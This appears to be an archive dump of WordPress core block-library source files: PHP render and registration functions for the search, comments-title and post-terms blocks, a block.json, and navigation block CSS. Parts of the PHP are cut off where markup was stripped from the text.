$attributes['width'] ), esc_attr( $attributes['widthUnit'] ) ); } // Add border width styles. $has_border_width = ! empty( $attributes['style']['border']['width'] ); if ( $has_border_width ) { $border_width = $attributes['style']['border']['width']; if ( $is_button_inside ) { $wrapper_styles[] = sprintf( 'border-width: %s;', esc_attr( $border_width ) ); } else { $button_styles[] = sprintf( 'border-width: %s;', esc_attr( $border_width ) ); $input_styles[] = sprintf( 'border-width: %s;', esc_attr( $border_width ) ); } } // Add border radius styles. $has_border_radius = ! empty( $attributes['style']['border']['radius'] ); if ( $has_border_radius ) { $default_padding = '4px'; $border_radius = $attributes['style']['border']['radius']; if ( is_array( $border_radius ) ) { // Apply styles for individual corner border radii. foreach ( $border_radius as $key => $value ) { if ( null !== $value ) { // Convert camelCase key to kebab-case. $name = strtolower( preg_replace( '/(? ! empty( $input_styles ) ? sprintf( ' style="%s"', esc_attr( safecss_filter_attr( implode( ' ', $input_styles ) ) ) ) : '', 'button' => ! empty( $button_styles ) ? sprintf( ' style="%s"', esc_attr( safecss_filter_attr( implode( ' ', $button_styles ) ) ) ) : '', 'wrapper' => ! empty( $wrapper_styles ) ? sprintf( ' style="%s"', esc_attr( safecss_filter_attr( implode( ' ', $wrapper_styles ) ) ) ) : '', ); } /** * Returns border color classnames depending on whether there are named or custom border colors. * * @param array $attributes The block attributes. * * @return string The border color classnames to be applied to the block elements. */ function get_border_color_classes_for_block_core_search( $attributes ) { $has_custom_border_color = ! empty( $attributes['style']['border']['color'] ); $border_color_classes = ! empty( $attributes['borderColor'] ) ? sprintf( 'has-border-color has-%s-border-color', $attributes['borderColor'] ) : ''; // If there's a border color style and no `borderColor` text string, we still want to add the generic `has-border-color` class name to the element. if ( $has_custom_border_color && empty( $attributes['borderColor'] ) ) { $border_color_classes = 'has-border-color'; } return $border_color_classes; } /** * Returns color classnames depending on whether there are named or custom text and background colors. * * @param array $attributes The block attributes. * * @return string The color classnames to be applied to the block elements. */ function get_color_classes_for_block_core_search( $attributes ) { $classnames = array(); // Text color. $has_named_text_color = ! empty( $attributes['textColor'] ); $has_custom_text_color = ! empty( $attributes['style']['color']['text'] ); if ( $has_named_text_color ) { $classnames[] = sprintf( 'has-text-color has-%s-color', $attributes['textColor'] ); } elseif ( $has_custom_text_color ) { // If a custom 'textColor' was selected instead of a preset, still add the generic `has-text-color` class. $classnames[] = 'has-text-color'; } // Background color. $has_named_background_color = ! empty( $attributes['backgroundColor'] ); $has_custom_background_color = ! empty( $attributes['style']['color']['background'] ); $has_named_gradient = ! empty( $attributes['gradient'] ); $has_custom_gradient = ! empty( $attributes['style']['color']['gradient'] ); if ( $has_named_background_color || $has_custom_background_color || $has_named_gradient || $has_custom_gradient ) { $classnames[] = 'has-background'; } if ( $has_named_background_color ) { $classnames[] = sprintf( 'has-%s-background-color', $attributes['backgroundColor'] ); } if ( $has_named_gradient ) { $classnames[] = sprintf( 'has-%s-gradient-background', $attributes['gradient'] ); } return implode( ' ', $classnames ); } blocks/comments-title.php000064400000005257147177035020011515 0ustar00 $align_class_name ) ); $comments_count = get_comments_number(); /* translators: %s: Post title. */ $post_title = sprintf( __( '“%s”' ), get_the_title() ); $tag_name = 'h2'; if ( isset( $attributes['level'] ) ) { $tag_name = 'h' . $attributes['level']; } if ( '0' === $comments_count ) { return; } if ( $show_comments_count ) { if ( $show_post_title ) { if ( '1' === $comments_count ) { /* translators: %s: Post title. */ $comments_title = sprintf( __( 'One response to %s' ), $post_title ); } else { $comments_title = sprintf( /* translators: 1: Number of comments, 2: Post title. */ _n( '%1$s response to %2$s', '%1$s responses to %2$s', $comments_count ), number_format_i18n( $comments_count ), $post_title ); } } elseif ( '1' === $comments_count ) { $comments_title = __( 'One response' ); } else { $comments_title = sprintf( /* translators: %s: Number of comments. */ _n( '%s responses', '%s responses', $comments_count ), number_format_i18n( $comments_count ) ); } } elseif ( $show_post_title ) { if ( '1' === $comments_count ) { /* translators: %s: Post title. */ $comments_title = sprintf( __( 'Response to %s' ), $post_title ); } else { /* translators: %s: Post title. */ $comments_title = sprintf( __( 'Responses to %s' ), $post_title ); } } elseif ( '1' === $comments_count ) { $comments_title = __( 'Response' ); } else { $comments_title = __( 'Responses' ); } return sprintf( '<%1$s id="comments" %2$s>%3$s', $tag_name, $wrapper_attributes, $comments_title ); } /** * Registers the `core/comments-title` block on the server. */ function register_block_core_comments_title() { register_block_type_from_metadata( __DIR__ . '/comments-title', array( 'render_callback' => 'render_block_core_comments_title', ) ); } add_action( 'init', 'register_block_core_comments_title' ); blocks/post-terms.php000064400000003165147177035020010662 0ustar00context['postId'] ) || ! isset( $attributes['term'] ) ) { return ''; } if ( ! is_taxonomy_viewable( $attributes['term'] ) ) { return ''; } $post_terms = get_the_terms( $block->context['postId'], $attributes['term'] ); if ( is_wp_error( $post_terms ) || empty( $post_terms ) ) { return ''; } $classes = 'taxonomy-' . $attributes['term']; if ( isset( $attributes['textAlign'] ) ) { $classes .= ' has-text-align-' . $attributes['textAlign']; } $separator = empty( $attributes['separator'] ) ? ' ' : $attributes['separator']; $wrapper_attributes = get_block_wrapper_attributes( array( 'class' => $classes ) ); return get_the_term_list( $block->context['postId'], $attributes['term'], "
    ", '' . esc_html( $separator ) . '', '
    ' ); } /** * Registers the `core/post-terms` block on the server. */ function register_block_core_post_terms() { register_block_type_from_metadata( __DIR__ . '/post-terms', array( 'render_callback' => 'render_block_core_post_terms', ) ); } add_action( 'init', 'register_block_core_post_terms' ); blocks/home-link/block.json000064400000001312147177035020011674 0ustar00{ "$schema": "https://schemas.wp.org/trunk/block.json", "apiVersion": 2, "name": "core/home-link", "category": "design", "parent": [ "core/navigation" ], "title": "Home Link", "description": "Create a link that always points to the homepage of the site. Usually not necessary if there is already a site title link present in the header.", "textdomain": "default", "attributes": { "label": { "type": "string" } }, "usesContext": [ "textColor", "customTextColor", "backgroundColor", "customBackgroundColor", "fontSize", "customFontSize", "style" ], "supports": { "reusable": false, "html": false }, "editorStyle": "wp-block-home-link-editor", "style": "wp-block-home-link" } blocks/navigation/editor-rtl.css000064400000032344147177035020012773 0ustar00/** * Colors */ /** * Breakpoints & Media Queries */ /** * SCSS Variables. * * Please use variables from this sheet to ensure consistency across the UI. * Don't add to this sheet unless you're pretty sure the value will be reused in many places. * For example, don't add rules to this sheet that affect block visuals. It's purely for UI. */ /** * Colors */ /** * Fonts & basic variables. */ /** * Grid System. * https://make.wordpress.org/design/2019/10/31/proposal-a-consistent-spacing-system-for-wordpress/ */ /** * Dimensions. */ /** * Shadows. */ /** * Editor widths. */ /** * Block & Editor UI. */ /** * Block paddings. */ /** * React Native specific. * These variables do not appear to be used anywhere else. */ /** * Converts a hex value into the rgb equivalent. * * @param {string} hex - the hexadecimal value to convert * @return {string} comma separated rgb values */ /** * Breakpoint mixins */ /** * Long content fade mixin * * Creates a fading overlay to signify that the content is longer * than the space allows. */ /** * Focus styles. */ /** * Applies editor left position to the selector passed as argument */ /** * Styles that are reused verbatim in a few places */ /** * Allows users to opt-out of animations via OS-level preferences. */ /** * Reset default styles for JavaScript UI based pages. * This is a WP-admin agnostic reset */ /** * Reset the WP Admin page styles for Gutenberg-like pages. */ /** * Editor only CSS. */ .editor-styles-wrapper .wp-block-navigation ul { margin-top: 0; margin-bottom: 0; margin-right: 0; padding-right: 0; } .editor-styles-wrapper .wp-block-navigation .wp-block-navigation-item.wp-block { margin: revert; } .wp-block-navigation-item__label { display: inline; } /** * Submenus. */ .wp-block-navigation__container.is-parent-of-selected-block { visibility: visible; opacity: 1; overflow: visible; } .wp-block-navigation__container, .wp-block-navigation-item { background-color: inherit; } .wp-block-navigation:not(.is-selected):not(.has-child-selected) .has-child:hover > .wp-block-navigation__submenu-container { opacity: 0; visibility: hidden; } .has-child.is-selected > .wp-block-navigation__submenu-container, .has-child.has-child-selected > .wp-block-navigation__submenu-container { display: flex; opacity: 1; visibility: visible; } .is-dragging-components-draggable .has-child.is-dragging-within > .wp-block-navigation__submenu-container { opacity: 1; visibility: visible; } .is-editing > .wp-block-navigation__container { visibility: visible; opacity: 1; display: flex; flex-direction: column; } .is-dragging-components-draggable .wp-block-navigation-link > .wp-block-navigation__container { opacity: 1; visibility: hidden; } .is-dragging-components-draggable .wp-block-navigation-link > .wp-block-navigation__container .block-editor-block-draggable-chip-wrapper { visibility: visible; } .is-editing > .wp-block-navigation__submenu-container > .block-list-appender { display: block; position: static; width: 100%; } .is-editing > .wp-block-navigation__submenu-container > .block-list-appender .block-editor-button-block-appender { color: #fff; background: #1e1e1e; padding: 0; width: 24px; border-radius: 2px; margin-left: 0; margin-right: auto; } .wp-block-navigation__submenu-container .block-list-appender { display: none; } /** * Colors Selector component */ .block-library-colors-selector { width: auto; } .block-library-colors-selector .block-library-colors-selector__toggle { display: block; margin: 0 auto; padding: 3px; width: auto; } .block-library-colors-selector .block-library-colors-selector__icon-container { height: 30px; position: relative; margin: 0 auto; padding: 3px; display: flex; align-items: center; border-radius: 4px; } .block-library-colors-selector .block-library-colors-selector__state-selection { margin-right: auto; margin-left: auto; border-radius: 11px; box-shadow: inset 0 0 0 1px rgba(0, 0, 0, 0.2); width: 22px; min-width: 22px; height: 22px; min-height: 22px; line-height: 20px; padding: 2px; } .block-library-colors-selector .block-library-colors-selector__state-selection > svg { min-width: auto !important; } .block-library-colors-selector .block-library-colors-selector__state-selection.has-text-color > svg, .block-library-colors-selector .block-library-colors-selector__state-selection.has-text-color > svg path { color: inherit; } .block-library-colors-selector__popover .color-palette-controller-container { padding: 16px; } .block-library-colors-selector__popover .components-base-control__label { height: 20px; line-height: 20px; } .block-library-colors-selector__popover .component-color-indicator { float: left; margin-top: 2px; } .block-library-colors-selector__popover .components-panel__body-title { display: none; } .wp-block-navigation .block-editor-button-block-appender { background-color: #1e1e1e; color: #fff; } .wp-block-navigation .block-editor-button-block-appender.block-editor-button-block-appender.block-editor-button-block-appender { padding: 0; } .wp-block-navigation .wp-block .wp-block .block-editor-button-block-appender { background-color: transparent; color: #1e1e1e; } /** * Setup state */ @keyframes loadingpulse { 0% { opacity: 1; } 50% { opacity: 0.5; } 100% { opacity: 1; } } .components-placeholder.wp-block-navigation-placeholder { outline: none; padding: 0; box-shadow: none; background: none; min-height: 0; color: inherit; } .components-placeholder.wp-block-navigation-placeholder .components-placeholder__fieldset { font-size: inherit; } .components-placeholder.wp-block-navigation-placeholder .components-placeholder__fieldset .components-button { margin-bottom: 0; } .wp-block-navigation.is-selected .components-placeholder.wp-block-navigation-placeholder { color: #1e1e1e; } .wp-block-navigation-placeholder .components-spinner { margin-top: 0; } .wp-block-navigation-placeholder__preview { display: flex; align-items: center; min-width: 96px; font-size: 13px; font-family: -apple-system, BlinkMacSystemFont, "Segoe UI", Roboto, Oxygen-Sans, Ubuntu, Cantarell, "Helvetica Neue", sans-serif; color: currentColor; background: transparent; } .wp-block-navigation.is-selected .wp-block-navigation-placeholder__preview { display: none; } .wp-block-navigation-placeholder__preview::before { content: ""; display: block; position: absolute; top: 0; left: 0; bottom: 0; right: 0; border: 1px dashed currentColor; opacity: 0.4; pointer-events: none; border-radius: inherit; } .wp-block-navigation-placeholder__preview > svg { fill: currentColor; opacity: 0.4; } .wp-block-navigation.is-vertical .is-small .components-placeholder__fieldset, .wp-block-navigation.is-vertical .is-medium .components-placeholder__fieldset { min-height: 90px; } .wp-block-navigation.is-vertical .is-large .components-placeholder__fieldset { min-height: 132px; } .wp-block-navigation-placeholder__preview, .wp-block-navigation-placeholder__controls { padding: 6px 8px; flex-direction: row; align-items: flex-start; } .wp-block-navigation-placeholder__controls { border-radius: 2px; background-color: #fff; box-shadow: inset 0 0 0 1px #1e1e1e; display: none; position: relative; z-index: 1; float: right; width: 100%; } .wp-block-navigation.is-selected .wp-block-navigation-placeholder__controls { display: flex; } .is-small .wp-block-navigation-placeholder__controls .wp-block-navigation-placeholder__actions__indicator, .is-small .wp-block-navigation-placeholder__controls .wp-block-navigation-placeholder__actions__indicator + hr, .is-medium .wp-block-navigation-placeholder__controls .wp-block-navigation-placeholder__actions__indicator, .is-medium .wp-block-navigation-placeholder__controls .wp-block-navigation-placeholder__actions__indicator + hr { display: none; } .is-small .wp-block-navigation-placeholder__controls .wp-block-navigation-placeholder__actions, .wp-block-navigation.is-vertical .wp-block-navigation-placeholder__controls .wp-block-navigation-placeholder__actions { flex-direction: column; align-items: flex-start; } .is-small .wp-block-navigation-placeholder__controls .wp-block-navigation-placeholder__actions hr, .wp-block-navigation.is-vertical .wp-block-navigation-placeholder__controls .wp-block-navigation-placeholder__actions hr { display: none; } .wp-block-navigation-placeholder__controls .wp-block-navigation-placeholder__icon { margin-left: 12px; height: 36px; } .wp-block-navigation-placeholder__actions__indicator { display: flex; padding: 0 0 0 6px; align-items: center; justify-content: flex-start; line-height: 0; height: 36px; margin-right: 4px; } .wp-block-navigation-placeholder__actions__indicator svg { margin-left: 4px; fill: currentColor; } .wp-block-navigation .components-placeholder.is-medium .components-placeholder__fieldset { flex-direction: row !important; } .wp-block-navigation-placeholder__actions { display: flex; font-size: 13px; font-family: -apple-system, BlinkMacSystemFont, "Segoe UI", Roboto, Oxygen-Sans, Ubuntu, Cantarell, "Helvetica Neue", sans-serif; gap: 6px; align-items: center; height: 100%; } .wp-block-navigation-placeholder__actions .components-dropdown, .wp-block-navigation-placeholder__actions > .components-button { margin-left: 0; } .wp-block-navigation-placeholder__actions.wp-block-navigation-placeholder__actions hr { border: 0; min-height: 1px; min-width: 1px; background-color: #1e1e1e; margin: auto 0; height: 100%; max-height: 16px; } /** * Mobile menu. */ @media (min-width: 600px) { .wp-block-navigation__responsive-container:not(.is-menu-open) .components-button.wp-block-navigation__responsive-container-close { display: none; } } .wp-block-navigation__responsive-container.is-menu-open { position: fixed; top: 155px; } @media (min-width: 782px) { .wp-block-navigation__responsive-container.is-menu-open { top: 93px; } } @media (min-width: 782px) { .wp-block-navigation__responsive-container.is-menu-open { right: 36px; } } @media (min-width: 960px) { .wp-block-navigation__responsive-container.is-menu-open { right: 160px; } } @media (min-width: 782px) { .has-fixed-toolbar .wp-block-navigation__responsive-container.is-menu-open { top: 141px; } } .is-mobile-preview .wp-block-navigation__responsive-container.is-menu-open, .is-tablet-preview .wp-block-navigation__responsive-container.is-menu-open { top: 141px; } .is-sidebar-opened .wp-block-navigation__responsive-container.is-menu-open { left: 280px; } .is-fullscreen-mode .wp-block-navigation__responsive-container.is-menu-open { right: 0; top: 155px; } @media (min-width: 782px) { .is-fullscreen-mode .wp-block-navigation__responsive-container.is-menu-open { top: 61px; } } @media (min-width: 782px) { .is-fullscreen-mode .has-fixed-toolbar .wp-block-navigation__responsive-container.is-menu-open { top: 109px; } } .is-fullscreen-mode .is-mobile-preview .wp-block-navigation__responsive-container.is-menu-open, .is-fullscreen-mode .is-tablet-preview .wp-block-navigation__responsive-container.is-menu-open { top: 109px; } body.editor-styles-wrapper .wp-block-navigation__responsive-container.is-menu-open { top: 0; left: 0; bottom: 0; right: 0; } @media (min-width: 600px) { .wp-block-navigation__responsive-close { pointer-events: none; } .wp-block-navigation__responsive-close .wp-block-navigation__responsive-container-close, .wp-block-navigation__responsive-close .block-editor-block-list__layout * { pointer-events: all; } } .wp-block-navigation__responsive-close .wp-block-pages-list__item__link { pointer-events: none; } .components-button.wp-block-navigation__responsive-container-open.wp-block-navigation__responsive-container-open, .components-button.wp-block-navigation__responsive-container-close.wp-block-navigation__responsive-container-close { padding: 0; height: auto; color: inherit; } .is-menu-open .wp-block-navigation__responsive-container-content * .block-list-appender { margin-top: 16px; } @keyframes fadein { 0% { opacity: 0; } 100% { opacity: 1; } } .wp-block-navigation .components-spinner { padding: 8px 12px; } .wp-block-navigation__unsaved-changes { position: relative; } .wp-block-navigation__unsaved-changes .components-spinner { position: absolute; top: calc(50% - 16px / 2); right: calc(50% - 16px / 2); opacity: 0; animation: 0.5s linear 2s normal forwards fadein; } @keyframes fadeouthalf { 0% { opacity: 1; } 100% { opacity: 0.5; } } .wp-block-navigation__unsaved-changes-overlay.is-saving { opacity: 1; animation: 0.5s linear 2s normal forwards fadeouthalf; } .wp-block-navigation-delete-menu-button { width: 100%; justify-content: center; margin-bottom: 16px; } .wp-block-navigation__overlay-menu-preview { display: flex; align-items: center; width: 100%; background-color: #f0f0f0; padding: 0 24px; height: 64px; margin-bottom: 12px; } .wp-block-navigation__overlay-menu-preview.open { box-shadow: inset 0 0 0 1px #e0e0e0; outline: 1px solid transparent; background-color: #fff; } .wp-block-navigation__toolbar-menu-selector.components-toolbar-group:empty { display: none; } .wp-block-navigation-placeholder__actions hr + hr { display: none; }blocks/navigation/style.min.css000064400000034235147177035020012631 0ustar00.wp-block-navigation{position:relative;--navigation-layout-justification-setting:flex-start;--navigation-layout-direction:row;--navigation-layout-wrap:wrap;--navigation-layout-justify:flex-start;--navigation-layout-align:center}.wp-block-navigation ul{margin-top:0;margin-bottom:0;margin-left:0;padding-left:0}.wp-block-navigation ul,.wp-block-navigation ul li{list-style:none;padding:0}.wp-block-navigation .wp-block-navigation-item{display:flex;align-items:center;position:relative}.wp-block-navigation .wp-block-navigation-item .wp-block-navigation__submenu-container:empty{display:none}.wp-block-navigation .wp-block-navigation-item__content{color:inherit;display:block;padding:0}.wp-block-navigation.has-text-decoration-underline .wp-block-navigation-item__content,.wp-block-navigation.has-text-decoration-underline .wp-block-navigation-item__content:active,.wp-block-navigation.has-text-decoration-underline .wp-block-navigation-item__content:focus{text-decoration:underline}.wp-block-navigation.has-text-decoration-line-through .wp-block-navigation-item__content,.wp-block-navigation.has-text-decoration-line-through .wp-block-navigation-item__content:active,.wp-block-navigation.has-text-decoration-line-through .wp-block-navigation-item__content:focus{text-decoration:line-through}.wp-block-navigation:where(:not([class*=has-text-decoration])) a,.wp-block-navigation:where(:not([class*=has-text-decoration])) a:active,.wp-block-navigation:where(:not([class*=has-text-decoration])) a:focus{text-decoration:none}.wp-block-navigation .wp-block-navigation__submenu-icon{align-self:center;line-height:0;display:inline-block;font-size:inherit;padding:0;background-color:inherit;color:currentColor;border:none;width:.6em;height:.6em;margin-left:.25em}.wp-block-navigation .wp-block-navigation__submenu-icon svg{display:inline-block;stroke:currentColor;width:inherit;height:inherit;margin-top:.075em}.wp-block-navigation.is-vertical{--navigation-layout-direction:column;--navigation-layout-justify:initial;--navigation-layout-align:flex-start}.wp-block-navigation.no-wrap{--navigation-layout-wrap:nowrap}.wp-block-navigation.items-justified-center{--navigation-layout-justification-setting:center;--navigation-layout-justify:center}.wp-block-navigation.items-justified-center.is-vertical{--navigation-layout-align:center}.wp-block-navigation.items-justified-right{--navigation-layout-justification-setting:flex-end;--navigation-layout-justify:flex-end}.wp-block-navigation.items-justified-right.is-vertical{--navigation-layout-align:flex-end}.wp-block-navigation.items-justified-space-between{--navigation-layout-justification-setting:space-between;--navigation-layout-justify:space-between}.wp-block-navigation .has-child :where(.wp-block-navigation__submenu-container){background-color:inherit;color:inherit;position:absolute;z-index:2;display:flex;flex-direction:column;align-items:normal;opacity:0;transition:opacity .1s linear;visibility:hidden;width:0;height:0;overflow:hidden;left:-1px;top:100%}.wp-block-navigation .has-child :where(.wp-block-navigation__submenu-container)>.wp-block-navigation-item>.wp-block-navigation-item__content{display:flex;flex-grow:1}.wp-block-navigation .has-child :where(.wp-block-navigation__submenu-container)>.wp-block-navigation-item>.wp-block-navigation-item__content .wp-block-navigation__submenu-icon{margin-right:0;margin-left:auto}.wp-block-navigation .has-child :where(.wp-block-navigation__submenu-container) .wp-block-navigation-item__content{margin:0}@media (min-width:782px){.wp-block-navigation .has-child :where(.wp-block-navigation__submenu-container) .wp-block-navigation__submenu-container{left:100%;top:-1px}.wp-block-navigation .has-child :where(.wp-block-navigation__submenu-container) .wp-block-navigation__submenu-container:before{content:"";position:absolute;right:100%;height:100%;display:block;width:.5em;background:transparent}.wp-block-navigation .has-child :where(.wp-block-navigation__submenu-container) .wp-block-navigation__submenu-icon{margin-right:.25em}.wp-block-navigation .has-child :where(.wp-block-navigation__submenu-container) .wp-block-navigation__submenu-icon svg{transform:rotate(-90deg)}}.wp-block-navigation .has-child:where(:not(.open-on-click)):hover>.wp-block-navigation__submenu-container{visibility:visible;overflow:visible;opacity:1;width:auto;height:auto;min-width:200px}.wp-block-navigation .has-child:where(:not(.open-on-click):not(.open-on-hover-click)):focus-within>.wp-block-navigation__submenu-container{visibility:visible;overflow:visible;opacity:1;width:auto;height:auto;min-width:200px}.wp-block-navigation .has-child .wp-block-navigation-submenu__toggle[aria-expanded=true]~.wp-block-navigation__submenu-container{visibility:visible;overflow:visible;opacity:1;width:auto;height:auto;min-width:200px}.wp-block-navigation.has-background .has-child .wp-block-navigation__submenu-container{left:0;top:100%}@media (min-width:782px){.wp-block-navigation.has-background .has-child .wp-block-navigation__submenu-container .wp-block-navigation__submenu-container{left:100%;top:0}}.wp-block-navigation-submenu{position:relative;display:flex}.wp-block-navigation-submenu .wp-block-navigation__submenu-icon svg{stroke:currentColor}button.wp-block-navigation-item__content{background-color:transparent;border:none;color:currentColor;font-size:inherit;font-family:inherit;line-height:inherit;font-style:inherit;font-weight:inherit;text-transform:inherit;text-align:left}.wp-block-navigation-submenu__toggle{cursor:pointer}.wp-block-navigation-item.open-on-click .wp-block-navigation-submenu__toggle{padding-right:.85em}.wp-block-navigation-item.open-on-click .wp-block-navigation-submenu__toggle+.wp-block-navigation__submenu-icon{margin-left:-.6em;pointer-events:none}.wp-block-navigation,.wp-block-navigation .wp-block-page-list,.wp-block-navigation:where(.has-background),.wp-block-navigation:where(.has-background) .wp-block-navigation .wp-block-page-list,.wp-block-navigation:where(.has-background) .wp-block-navigation__container,.wp-block-navigation__container,.wp-block-navigation__responsive-close,.wp-block-navigation__responsive-container,.wp-block-navigation__responsive-container-content,.wp-block-navigation__responsive-dialog{gap:inherit}.wp-block-navigation:where(.has-background) .wp-block-navigation-item__content,.wp-block-navigation :where(.wp-block-navigation__submenu-container) .wp-block-navigation-item__content{padding:.5em 1em}.wp-block-navigation.items-justified-right .wp-block-navigation__container .has-child .wp-block-navigation__submenu-container,.wp-block-navigation.items-justified-right .wp-block-page-list>.has-child .wp-block-navigation__submenu-container,.wp-block-navigation.items-justified-space-between .wp-block-page-list>.has-child:last-child .wp-block-navigation__submenu-container,.wp-block-navigation.items-justified-space-between>.wp-block-navigation__container>.has-child:last-child .wp-block-navigation__submenu-container{left:auto;right:0}.wp-block-navigation.items-justified-right .wp-block-navigation__container .has-child .wp-block-navigation__submenu-container .wp-block-navigation__submenu-container,.wp-block-navigation.items-justified-right .wp-block-page-list>.has-child .wp-block-navigation__submenu-container .wp-block-navigation__submenu-container,.wp-block-navigation.items-justified-space-between .wp-block-page-list>.has-child:last-child .wp-block-navigation__submenu-container .wp-block-navigation__submenu-container,.wp-block-navigation.items-justified-space-between>.wp-block-navigation__container>.has-child:last-child .wp-block-navigation__submenu-container .wp-block-navigation__submenu-container{left:-1px;right:-1px}@media (min-width:782px){.wp-block-navigation.items-justified-right .wp-block-navigation__container .has-child .wp-block-navigation__submenu-container .wp-block-navigation__submenu-container,.wp-block-navigation.items-justified-right .wp-block-page-list>.has-child .wp-block-navigation__submenu-container .wp-block-navigation__submenu-container,.wp-block-navigation.items-justified-space-between .wp-block-page-list>.has-child:last-child .wp-block-navigation__submenu-container .wp-block-navigation__submenu-container,.wp-block-navigation.items-justified-space-between>.wp-block-navigation__container>.has-child:last-child .wp-block-navigation__submenu-container .wp-block-navigation__submenu-container{left:auto;right:100%}}.wp-block-navigation:not(.has-background) .wp-block-navigation__submenu-container{background-color:#fff;color:#000;border:1px solid rgba(0,0,0,.15)}.wp-block-navigation__container{display:flex;flex-wrap:var(--navigation-layout-wrap,wrap);flex-direction:var(--navigation-layout-direction,initial);justify-content:var(--navigation-layout-justify,initial);align-items:var(--navigation-layout-align,initial);list-style:none;margin:0;padding-left:0}.wp-block-navigation__container .is-responsive{display:none}.wp-block-navigation__container:only-child,.wp-block-page-list:only-child{flex-grow:1}.wp-block-navigation__responsive-container{display:none;position:fixed;top:0;left:0;right:0;bottom:0}.wp-block-navigation__responsive-container .wp-block-navigation__responsive-container-content{display:flex;flex-wrap:var(--navigation-layout-wrap,wrap);flex-direction:var(--navigation-layout-direction,initial);justify-content:var(--navigation-layout-justify,initial);align-items:var(--navigation-layout-align,initial)}.wp-block-navigation__responsive-container:not(.is-menu-open.is-menu-open){color:inherit!important;background-color:inherit!important}.wp-block-navigation__responsive-container.is-menu-open{display:flex;flex-direction:column;background-color:inherit;padding:2rem;overflow:auto;z-index:100000}.wp-block-navigation__responsive-container.is-menu-open .wp-block-navigation__responsive-container-content{padding-top:calc(2rem + 24px);overflow:visible;display:flex;flex-direction:column;flex-wrap:nowrap;align-items:var(--navigation-layout-justification-setting,inherit)}.wp-block-navigation__responsive-container.is-menu-open .wp-block-navigation__responsive-container-content,.wp-block-navigation__responsive-container.is-menu-open .wp-block-navigation__responsive-container-content .wp-block-navigation__container,.wp-block-navigation__responsive-container.is-menu-open .wp-block-navigation__responsive-container-content .wp-block-page-list{justify-content:flex-start}.wp-block-navigation__responsive-container.is-menu-open .wp-block-navigation__responsive-container-content .wp-block-navigation__submenu-icon{display:none}.wp-block-navigation__responsive-container.is-menu-open .wp-block-navigation__responsive-container-content .has-child .submenu-container,.wp-block-navigation__responsive-container.is-menu-open .wp-block-navigation__responsive-container-content .has-child .wp-block-navigation__submenu-container{opacity:1;visibility:visible;height:auto;width:auto;overflow:initial;min-width:200px;position:static;border:none;padding-left:2rem;padding-right:2rem}.wp-block-navigation__responsive-container.is-menu-open .wp-block-navigation__responsive-container-content .wp-block-navigation__container,.wp-block-navigation__responsive-container.is-menu-open .wp-block-navigation__responsive-container-content .wp-block-navigation__submenu-container{gap:inherit}.wp-block-navigation__responsive-container.is-menu-open .wp-block-navigation__responsive-container-content .wp-block-navigation__submenu-container{padding-top:var(--wp--style--block-gap,2em)}.wp-block-navigation__responsive-container.is-menu-open .wp-block-navigation__responsive-container-content .wp-block-navigation-item__content{padding:0}.wp-block-navigation__responsive-container.is-menu-open .wp-block-navigation__responsive-container-content .wp-block-navigation-item,.wp-block-navigation__responsive-container.is-menu-open .wp-block-navigation__responsive-container-content .wp-block-navigation__container,.wp-block-navigation__responsive-container.is-menu-open .wp-block-navigation__responsive-container-content .wp-block-page-list{display:flex;flex-direction:column;align-items:var(--navigation-layout-justification-setting,initial)}.wp-block-navigation__responsive-container.is-menu-open .wp-block-navigation-item,.wp-block-navigation__responsive-container.is-menu-open .wp-block-navigation-item .wp-block-navigation__submenu-container,.wp-block-navigation__responsive-container.is-menu-open .wp-block-page-list{color:inherit!important;background:transparent!important}.wp-block-navigation__responsive-container.is-menu-open .wp-block-navigation__submenu-container.wp-block-navigation__submenu-container.wp-block-navigation__submenu-container.wp-block-navigation__submenu-container{right:auto;left:auto}@media (min-width:600px){.wp-block-navigation__responsive-container:not(.hidden-by-default):not(.is-menu-open){display:block;width:100%;position:relative;z-index:auto;background-color:inherit}.wp-block-navigation__responsive-container:not(.hidden-by-default):not(.is-menu-open) .wp-block-navigation__responsive-container-close{display:none}.wp-block-navigation__responsive-container.is-menu-open .wp-block-navigation__submenu-container.wp-block-navigation__submenu-container.wp-block-navigation__submenu-container.wp-block-navigation__submenu-container{left:0}}.wp-block-navigation:not(.has-background) .wp-block-navigation__responsive-container.is-menu-open{background-color:#fff;color:#000}.wp-block-navigation__toggle_button_label{font-size:1rem;font-weight:700}.wp-block-navigation__responsive-container-close,.wp-block-navigation__responsive-container-open{vertical-align:middle;cursor:pointer;color:currentColor;background:transparent;border:none;margin:0;padding:0}.wp-block-navigation__responsive-container-close svg,.wp-block-navigation__responsive-container-open svg{fill:currentColor;pointer-events:none;display:block;width:24px;height:24px}.wp-block-navigation__responsive-container-open{display:flex}@media (min-width:600px){.wp-block-navigation__responsive-container-open:not(.always-shown){display:none}}.wp-block-navigation__responsive-container-close{position:absolute;top:0;right:0;z-index:2}.wp-block-navigation__responsive-close{width:100%}.wp-block-navigation__responsive-close:focus{outline:none}.is-menu-open .wp-block-navigation__responsive-close,.is-menu-open .wp-block-navigation__responsive-container-content,.is-menu-open .wp-block-navigation__responsive-dialog{box-sizing:border-box}.wp-block-navigation__responsive-dialog{position:relative}html.has-modal-open{overflow:hidden}blocks/navigation/editor.css000064400000032341147177035020012171 0ustar00/** * Colors */ /** * Breakpoints & Media Queries */ /** * SCSS Variables. * * Please use variables from this sheet to ensure consistency across the UI. * Don't add to this sheet unless you're pretty sure the value will be reused in many places. * For example, don't add rules to this sheet that affect block visuals. It's purely for UI. */ /** * Colors */ /** * Fonts & basic variables. */ /** * Grid System. * https://make.wordpress.org/design/2019/10/31/proposal-a-consistent-spacing-system-for-wordpress/ */ /** * Dimensions. */ /** * Shadows. */ /** * Editor widths. */ /** * Block & Editor UI. */ /** * Block paddings. */ /** * React Native specific. * These variables do not appear to be used anywhere else. */ /** * Converts a hex value into the rgb equivalent. * * @param {string} hex - the hexadecimal value to convert * @return {string} comma separated rgb values */ /** * Breakpoint mixins */ /** * Long content fade mixin * * Creates a fading overlay to signify that the content is longer * than the space allows. */ /** * Focus styles. */ /** * Applies editor left position to the selector passed as argument */ /** * Styles that are reused verbatim in a few places */ /** * Allows users to opt-out of animations via OS-level preferences. */ /** * Reset default styles for JavaScript UI based pages. * This is a WP-admin agnostic reset */ /** * Reset the WP Admin page styles for Gutenberg-like pages. */ /** * Editor only CSS. */ .editor-styles-wrapper .wp-block-navigation ul { margin-top: 0; margin-bottom: 0; margin-left: 0; padding-left: 0; } .editor-styles-wrapper .wp-block-navigation .wp-block-navigation-item.wp-block { margin: revert; } .wp-block-navigation-item__label { display: inline; } /** * Submenus. */ .wp-block-navigation__container.is-parent-of-selected-block { visibility: visible; 